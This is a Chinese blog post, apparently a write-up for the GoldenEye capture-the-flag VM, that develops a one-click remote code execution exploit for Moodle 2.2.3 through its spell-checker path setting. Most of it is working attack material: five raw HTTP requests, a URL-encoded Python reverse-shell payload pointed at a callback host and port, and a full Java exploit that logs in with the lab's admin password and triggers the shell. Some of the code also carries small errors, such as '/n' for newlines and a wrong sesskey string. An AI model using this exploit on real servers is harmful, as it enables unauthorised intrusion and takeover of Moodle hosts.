接上文,此篇来攥写最激动人心的环节——在GoldenEye靶机中,利用Moodle漏洞,一键getshell。
根据老外的 WriteUP ,getshell需要满足三个条件:
因为后台中可以设置拼写检查引擎的路径(可执行文件的路径),而在编辑器中可以调用拼写检查功能,从而间接的造成了任意代码的远程执行。
编写exp,是为了将手动的攻击过程自动化,减少事件成本,完成攻击的自动化,必然少不了协议的分析。
笔者在这里使用了Burp Suite和Wireshark完成了对整个命令执行过程的分析,并且剔除了多余的参数和HTTP请求头,以达到请求报文的最小化,在服务端留下最少的记录。
注意,在登录的响应中,出现了三个Set-Cookie字段,经过测试,第二个Cookie有效
(笔者因为没有注意到sesskey,在代码调试过程中卡顿了一会。)
在Moodle2.2.3中,进行每一步实质性的操作时,都需要提供一个sesskey,sesskey是一个十位数的字符串,由大小写字母和数字组成,可以由正则表达式来精准地从json中匹配出来 “sesskey”:”keykeykeyk” 。
将要执行的命令填入aspell的路径,笔者在这里填入python反弹shell的payload,请注意上文中提到的sesskey。
这里同样需要提供sesskey
完成远程代码执行一共需要发送五个请求,分别用来获取Cookie、获取Sesskey、设置payload、切换拼写检查引擎、触发payload
经过URL编码的Payload如下:
其中{host}{port}填入接收shell的主机名,端口
python+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22{host}%22%2C{port}%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27
简化的HTTP请求1,用于获取cookie
POST /gnocertdir/login/index.php HTTP/1.1 Host: severnaya-station.com Content-Type: application/x-www-form-urlencoded Content-Length: 39 Connection: close username=admin&password=xWinter1995x%21
简化的HTTP请求2,用于获取sesskey
GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1 Host: severnaya-station.com Cookie: cookie Connection: close
简化的HTTP请求3,用于设置payload
POST /gnocertdir/admin/settings.php HTTP/1.1 Host: severnaya-station.com Content-Type: application/x-www-form-urlencoded Content-Length: 此处请自行计算 Connection: close Cookie: cookie section=systempaths&sesskey=sesskey&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=payload&s__pathtodot=
简化的HTTP请求4,用于切换拼写检查引擎
POST /gnocertdir/admin/settings.php HTTP/1.1 Host: severnaya-station.com Content-Type: application/x-www-form-urlencoded Content-Length: 此处请自行计算 Connection: close Cookie: cookie section=editorsettingstinymce&sesskey=sesskey&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy
简化的HTTP请求5,用于触发payload
POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1 Host: severnaya-station.com Content-Length: 56 Connection: close Cookie: cookie {"id":"c0","method":"checkWords","params":["en",[""]]});
笔者为了减少代码量,自己编写过一个HTTP工具类
HTTPUtil.java_ 下载
import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Main { public static void main(String[] args) { //定义payload String host = "192.168.180.129"; String port = "4444"; String payload = "python+-c+%27import+socket%2Csubprocess%2Cos%3B" + "s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3B" + "s.connect%28%28%22{host}%22%2C{port}%29%29%3B" + "os.dup2%28s.fileno%28%29%2C0%29%3B" + "+os.dup2%28s.fileno%28%29%2C1%29%3B" + "+os.dup2%28s.fileno%28%29%2C2%29%3B" + "p%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27"; payload = payload.replace("{host}",host).replace("{port}",port); //登录获取cookie HTTPUtil hu = new HTTPUtil(); hu.setRequest("POST /gnocertdir/login/index.php HTTP/1.1/n" + "Host: severnaya-station.com/n" + "Content-Type: application/x-www-form-urlencoded/n" + "Content-Length: 39/n" + "Connection: close/n" + "/n" + "username=admin&password=xWinter1995x%21"); String res = hu.getResponse(); String cookie = getCookie(res); System.out.println("[+] Got the cookie! " + cookie); //获取sesskey hu.setRequest("GET /gnocertdir/admin/settings.php?section=systempaths HTTP/1.1/n" + "Host: severnaya-station.com/n" + "Connection: close/n" + "Cookie: " + cookie); res = hu.getResponse(); String sesskey = getSesskey(res); System.out.println(sesskey); System.out.println("[+] Got the sesskey! " + sesskey); //设置payload String data = "section=systempaths&sesskey=" + sesskey + "&return=&s__gdversion=2&s__pathtodu=%2Fusr%2Fbin%2Fdu&s__aspellpath=" + payload + "&s__pathtodot="; hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1/n" + "Host: severnaya-station.com/n" + "Content-Type: application/x-www-form-urlencoded/n" + "Content-Length: " + data.length() + "/n" + "Connection: close/n" + "Cookie: " + cookie + "/n" + "/n" + data); hu.getResponse(); System.out.println("[+] Set the payload..."); //切换拼写检查器 data = "section=editorsettingstinymce&sesskey=" + "sesskey=" + "&return=&s_editor_tinymce_spellengine=PSpellShell&s_editor_tinymce_spelllanguagelist=xxxyyy"; hu.setRequest("POST /gnocertdir/admin/settings.php HTTP/1.1/n" + "Host: severnaya-station.com/n" + "Content-Type: application/x-www-form-urlencoded/n" + "Content-Length: " + data.length() + "/n" + "Connection: close/n" + "Cookie: " + cookie + "/n" + "/n" + data); hu.getResponse(); System.out.println("[+] Changed the SpellEngine"); //触发payload hu.setRequest("POST /gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php HTTP/1.1/n" + "Host: severnaya-station.com/n" + "Content-Length: 56/n" + "Connection: close/n" + "Cookie: " + cookie + "/n" + "/n" + "{/"id/":/"c0/",/"method/":/"checkWords/",/"params/":[/"en/",[/"/"]]}"); hu.getResponse(); System.out.println("[+] Execute the payload..."); } //正则匹配,获取第二个有效cookie public static String getCookie(String response) { Pattern pattern = Pattern.compile("Set-Cookie://s//S+=//S+;"); Matcher matcher = pattern.matcher(response); List<String> cookies = new ArrayList<>(); while (matcher.find()) { cookies.add(matcher.group()); } for (String cookie : cookies) { System.out.println(cookie); } String cookie = cookies.get(1) .replace("Set-Cookie:","").trim(); return cookie; } //正则匹配,获取sesskey public static String getSesskey(String response) { Pattern pattern = Pattern.compile("sesskey/":/"([A-Za-z0-9]{10})"); Matcher matcher = pattern.matcher(response); String key = null; if (matcher.find()) { key = matcher.group(); key = key.substring(key.lastIndexOf("/"") + 1); return key; } return null; } }
javac Main.java java Main
整个Exp开发周期中花费时间最长的其实是协议分析,如果协议分析不够仔细,后续的debug环节必定要花费更多的时间,甚至动用wireshark来分析程序的HTTP数据包。
新的一年,祝大家0day多多,Error少少,新年快乐。